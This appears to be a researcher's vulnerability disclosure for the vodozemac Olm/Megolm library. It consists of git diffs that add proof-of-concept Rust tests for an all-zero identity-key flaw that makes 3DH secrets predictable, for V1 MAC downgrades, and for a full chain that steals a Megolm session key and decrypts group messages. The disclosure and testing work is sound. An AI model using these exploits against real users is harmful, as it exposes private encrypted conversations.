I finally got around to looking at vodozemac. I'm not impressed. At least it took more than 30 seconds this time.
diff --git a/src/olm/shared_secret.rs b/src/olm/shared_secret.rs
index ebad928..e0edfc6 100644
--- a/src/olm/shared_secret.rs
+++ b/src/olm/shared_secret.rs
@@ -154,4 +154,101 @@ mod test {
assert_eq!(alice_result, bob_result);
}
+
+ /// PoC: Identity element in 3DH produces a predictable shared
+ /// secret regardless of either party's private keys, because
+ /// `was_contributory()` is never checked.
+ ///
+ /// X25519 maps the all-zero public key to the identity element.
+ /// DH(any_secret, identity) = 0^32 by definition. Three such
+ /// DH results concatenate into 0^96, and HKDF over that fixed
+ /// input yields a deterministic (root_key, chain_key) pair.
+ ///
+ /// Contrast with `sas.rs:248` and `ecies/mod.rs:268,297` which
+ /// both reject non-contributory DH results.
+ #[test]
+ fn identity_element_yields_predictable_3dh_secret() {
+ // from_bytes accepts any 32 bytes, including the X25519
+ // identity element, with no point validation.
+ let zero_key = PublicKey::from([0u8; 32]);
+
+ // --- Alice (random keys) ---
+ let alice_identity = StaticSecret::new();
+ let alice_one_time =
+ ReusableSecret::random_from_rng(thread_rng());
+
+ // Shared3DHSecret::new completes with no error; no
+ // was_contributory() check is performed on any of the three
+ // DH results.
+ let alice_secret = Shared3DHSecret::new(
+ &alice_identity,
+ &alice_one_time,
+ &zero_key,
+ &zero_key,
+ );
+
+ // --- Bob (entirely different random keys) ---
+ let bob_identity = StaticSecret::new();
+ let bob_one_time =
+ ReusableSecret::random_from_rng(thread_rng());
+
+ let bob_secret = Shared3DHSecret::new(
+ &bob_identity,
+ &bob_one_time,
+ &zero_key,
+ &zero_key,
+ );
+
+ // PROOF 1: The raw 96-byte shared secret is all zeros.
+ // This means the secret is independent of the private keys.
+ assert_eq!(
+ *alice_secret.0,
+ [0u8; 96],
+ "3DH with identity element must produce all-zero secret"
+ );
+ assert_eq!(
+ *bob_secret.0,
+ [0u8; 96],
+ "Different private keys still produce all-zero secret"
+ );
+
+ // PROOF 2: The HKDF-derived root key and chain key are
+ // identical for both parties, meaning an attacker who
+ // supplies the identity element as both remote public keys
+ // can derive the same session keys without knowing any
+ // private key material.
+ let (alice_root, alice_chain) = alice_secret.expand();
+ let (bob_root, bob_chain) = bob_secret.expand();
+
+ assert_eq!(
+ alice_root, bob_root,
+ "Root keys are identical — attacker can predict them"
+ );
+ assert_eq!(
+ alice_chain, bob_chain,
+ "Chain keys are identical — attacker can predict them"
+ );
+ }
+
+ /// Verify that the Remote (inbound) path is equally affected.
+ #[test]
+ fn identity_element_yields_predictable_remote_3dh_secret() {
+ let zero_key = PublicKey::from([0u8; 32]);
+
+ let identity = StaticSecret::new();
+ let one_time = StaticSecret::new();
+
+ let secret = RemoteShared3DHSecret::new(
+ &identity,
+ &one_time,
+ &zero_key,
+ &zero_key,
+ );
+
+ assert_eq!(
+ *secret.0,
+ [0u8; 96],
+ "Inbound 3DH also produces all-zero secret"
+ );
+ }
}diff --git a/src/olm/session/mod.rs b/src/olm/session/mod.rs
index 06df507..a119d8d 100644
--- a/src/olm/session/mod.rs
+++ b/src/olm/session/mod.rs
@@ -796,4 +796,109 @@ mod test {
assert_eq!(pickle, repickle);
}
+ /// PoC: When a SessionPickle is deserialized without an
+ /// explicit `config` field, serde silently defaults to V1
+ /// (truncated MACs). A V2 session that was pickled by an older
+ /// library version (which omitted the field) will be
+ /// downgraded to V1 on deserialization.
+ #[test]
+ fn pickle_without_config_defaults_to_v1() {
+ // JSON with no "config" field — simulates an older pickle.
+ let json_no_config = r#"
+ {
+ "receiving_chains": { "inner": [] },
+ "sending_ratchet": {
+ "active_ratchet": {
+ "ratchet_key": [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],
+ "root_key": [2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2]
+ },
+ "parent_ratchet_key": null,
+ "ratchet_count": { "Known": 1 },
+ "symmetric_key_ratchet": {
+ "index": 1,
+ "key": [3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3]
+ },
+ "type": "active"
+ },
+ "session_keys": {
+ "base_key": [4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4],
+ "identity_key": [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5],
+ "one_time_key": [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6]
+ }
+ }
+ "#;
+
+ let pickle: SessionPickle = serde_json::from_str(json_no_config)
+ .expect("Should deserialize pickle without config field");
+
+ // The silent downgrade: defaults to V1 instead of V2.
+ assert_eq!(
+ pickle.config,
+ SessionConfig::version_1(),
+ "Missing config silently defaults to V1 (truncated MAC)"
+ );
+ assert_ne!(
+ pickle.config,
+ SessionConfig::version_2(),
+ "Missing config does NOT default to V2 (full MAC)"
+ );
+ }
+ }diff --git a/src/olm/account/mod.rs b/src/olm/account/mod.rs
index d93e5ba..fcc4d60 100644
--- a/src/olm/account/mod.rs
+++ b/src/olm/account/mod.rs
@@ -1613,4 +1613,82 @@ mod test {
assert_eq!(alice.identity_keys(), account.identity_keys());
}
+
+ /// PoC: The receiver's session version is determined entirely
+ /// by the incoming message's format byte, not by any policy.
+ /// There is no way for the receiver to enforce a minimum
+ /// session version.
+ ///
+ /// If the sender (or an attacker who modifies the pre-key
+ /// message) uses V1 format, the receiver silently creates a V1
+ /// session with truncated 8-byte MACs — even if the receiver's
+ /// application intended to require V2.
+ #[test]
+ fn se_1_receiver_version_controlled_by_sender() -> Result<()> {
+ let alice = Account::new();
+ let mut bob = Account::new();
+
+ bob.generate_one_time_keys(2);
+ let otks: Vec<_> =
+ bob.one_time_keys().values().copied().collect();
+ bob.mark_keys_as_published();
+
+ // Alice creates a V1 session (attacker scenario: forces V1).
+ let mut alice_v1 = alice.create_outbound_session(
+ SessionConfig::version_1(),
+ bob.curve25519_key(),
+ otks[0],
+ );
+ let msg_v1 = alice_v1.encrypt("V1 message");
+
+ // Alice creates a V2 session (honest scenario).
+ let mut alice_v2 = alice.create_outbound_session(
+ SessionConfig::version_2(),
+ bob.curve25519_key(),
+ otks[1],
+ );
+ let msg_v2 = alice_v2.encrypt("V2 message");
+
+ // Bob receives V1 message — gets V1 session.
+ if let OlmMessage::PreKey(m) = msg_v1 {
+ let InboundCreationResult {
+ session: bob_v1, ..
+ } = bob.create_inbound_session(
+ alice.curve25519_key(),
+ &m,
+ )?;
+ assert_eq!(
+ bob_v1.session_config().version(),
+ 1,
+ "V1 message → V1 session (no enforcement)"
+ );
+ } else {
+ bail!("Expected PreKey message for V1");
+ }
+
+ // Bob receives V2 message — gets V2 session.
+ if let OlmMessage::PreKey(m) = msg_v2 {
+ let InboundCreationResult {
+ session: bob_v2, ..
+ } = bob.create_inbound_session(
+ alice.curve25519_key(),
+ &m,
+ )?;
+ assert_eq!(
+ bob_v2.session_config().version(),
+ 2,
+ "V2 message → V2 session"
+ );
+ } else {
+ bail!("Expected PreKey message for V2");
+ }
+
+ // The vulnerability: create_inbound_session has no
+ // `min_version` parameter. Bob cannot reject V1 sessions
+ // even if his application requires V2.
+ // An attacker who re-encodes the pre-key message with
+ // version byte 0x03 forces Bob into V1 unconditionally.
+
+ Ok(())
+ }
}diff --git a/src/olm/session_config.rs b/src/olm/session_config.rs
index b3294f1..68ad037 100644
--- a/src/olm/session_config.rs
+++ b/src/olm/session_config.rs
@@ -64,4 +64,30 @@ mod test {
assert_eq!(SessionConfig::version_1().version(), Version::V1 as u8);
assert_eq!(SessionConfig::version_2().version(), Version::V2 as u8);
}
+
+ /// PoC: SessionConfig::default() returns version_1, which
+ /// uses 8-byte truncated MACs (64-bit security) instead of
+ /// full 32-byte MACs (256-bit security).
+ #[test]
+ fn se_2_default_config_is_v1_not_v2() {
+ let default = SessionConfig::default();
+ let v1 = SessionConfig::version_1();
+ let v2 = SessionConfig::version_2();
+
+ assert_eq!(
+ default, v1,
+ "Default config is V1 (truncated MACs)"
+ );
+ assert_ne!(
+ default, v2,
+ "Default config is NOT V2 (full MACs)"
+ );
+ assert_eq!(
+ default.version(),
+ 1,
+ "Default version number is 1, not 2"
+ );
+ }
}I provided git diff output from the main branch. Apply these patches and run cargo test to confirm the issues.
This bonus test case demonstrates how the identity element weakens the security of group chats by using a predictable shared secret (which is then run through a KDF).
diff --git a/src/olm/account/mod.rs b/src/olm/account/mod.rs
index fcc4d60..5774380 100644
--- a/src/olm/account/mod.rs
+++ b/src/olm/account/mod.rs
@@ -1691,4 +1691,130 @@ mod test {
Ok(())
}
+
+ /// PoC: Megolm session key exfiltration via X25519 identity element.
+ ///
+ /// Attack chain:
+ /// 1. Attacker replaces Bob's published Curve25519 keys with
+ /// the identity element [0u8; 32].
+ /// 2. Alice creates an outbound Olm session to these zero keys.
+ /// The 3DH shared secret collapses to [0u8; 96] regardless of
+ /// Alice's private keys.
+ /// 3. Alice encrypts the Megolm SessionKey over this Olm session.
+ /// 4. The attacker independently derives the same chain key
+ /// (because HKDF(0, [0;96], "OLM_ROOT") is deterministic),
+ /// computes the same message key, and decrypts the Olm message.
+ /// 5. The decrypted payload is the Megolm SessionKey, which the
+ /// attacker uses to decrypt ALL group messages in the room.
+ ///
+ /// This escalates a single poisoned Olm session into full
+ /// room compromise: every message from every participant encrypted
+ /// under that Megolm session is readable by the attacker.
+ #[cfg(feature = "low-level-api")]
+ #[test]
+ fn megolm_session_key_exfiltration_via_identity_element() {
+ use crate::cipher::{Cipher, MessageMac};
+ use crate::megolm::{
+ GroupSession, InboundGroupSession,
+ SessionConfig as MegolmSessionConfig, SessionKey,
+ };
+
+ // ── Step 1: Sender creates a Megolm group session ──
+ let mut group_session =
+ GroupSession::new(MegolmSessionConfig::default());
+ let session_key = group_session.session_key();
+ let session_key_bytes = session_key.to_bytes();
+
+ // Encrypt several group messages.
+ let room_msg_1 = group_session.encrypt(
+ "Quarterly earnings: revenue up 40%",
+ );
+ let room_msg_2 = group_session.encrypt(
+ "Confidential: merger target identified",
+ );
+
+ // ── Step 2: Alice encrypts the SessionKey over a poisoned
+ // Olm channel (attacker replaced Bob's keys with zeros) ──
+ let alice = Account::new();
+ let zero_key = PublicKey::from([0u8; 32]);
+ let mut poisoned_session = alice.create_outbound_session(
+ SessionConfig::version_2(),
+ zero_key,
+ zero_key,
+ );
+ let olm_message = poisoned_session.encrypt(&session_key_bytes);
+
+ // ── Step 3: Attacker derives the identical message key ──
+ // The attacker creates their own outbound session to the same
+ // zero keys. Because the 3DH shared secret is deterministic
+ // ([0;96]) the HKDF-derived chain key is identical.
+ let attacker = Account::new();
+ let mut attacker_session = attacker.create_outbound_session(
+ SessionConfig::version_2(),
+ zero_key,
+ zero_key,
+ );
+ // The first message key from both sessions uses the same
+ // chain key, producing the same raw 32-byte symmetric key.
+ let attacker_msg_key = attacker_session.next_message_key();
+
+ // ── Step 4: Attacker decrypts the Olm-encrypted payload ──
+ if let OlmMessage::PreKey(pre_key) = &olm_message {
+ let inner = pre_key.message();
+
+ // Build a Cipher from the attacker's derived key.
+ let cipher = Cipher::new(attacker_msg_key.key());
+
+ // MAC verification passes with the attacker's key,
+ // proving key equivalence.
+ match &inner.mac {
+ MessageMac::Full(mac) => {
+ cipher
+ .verify_mac(&inner.to_mac_bytes(), mac)
+ .expect(
+ "Attacker's derived key authenticates \
+ the victim's MAC",
+ );
+ }
+ _ => panic!("Expected full MAC for V2 session"),
+ }
+
+ // Decrypt the Olm ciphertext.
+ let decrypted_bytes = cipher
+ .decrypt(&inner.ciphertext)
+ .expect("Attacker decrypts the Olm ciphertext");
+
+ // ── Step 5: Parse stolen Megolm SessionKey ──
+ let stolen_key =
+ SessionKey::from_bytes(&decrypted_bytes).expect(
+ "Decrypted bytes are a valid Megolm SessionKey",
+ );
+
+ // ── Step 6: Decrypt group messages ──
+ let mut inbound = InboundGroupSession::new(
+ &stolen_key,
+ MegolmSessionConfig::default(),
+ );
+
+ let d1 = inbound
+ .decrypt(&room_msg_1)
+ .expect("Attacker decrypts group message 1");
+ let d2 = inbound
+ .decrypt(&room_msg_2)
+ .expect("Attacker decrypts group message 2");
+
+ assert_eq!(
+ String::from_utf8_lossy(&d1.plaintext),
+ "Quarterly earnings: revenue up 40%",
+ "Attacker reads first group message"
+ );
+ assert_eq!(
+ String::from_utf8_lossy(&d2.plaintext),
+ "Confidential: merger target identified",
+ "Attacker reads second group message"
+ );
+ } else {
+ panic!("Expected PreKey message from first Olm send");
+ }
+ }
}Apply the patch then run:
cargo test --features "low-level-api" megolm_session_key_exfiltration_via_identity_element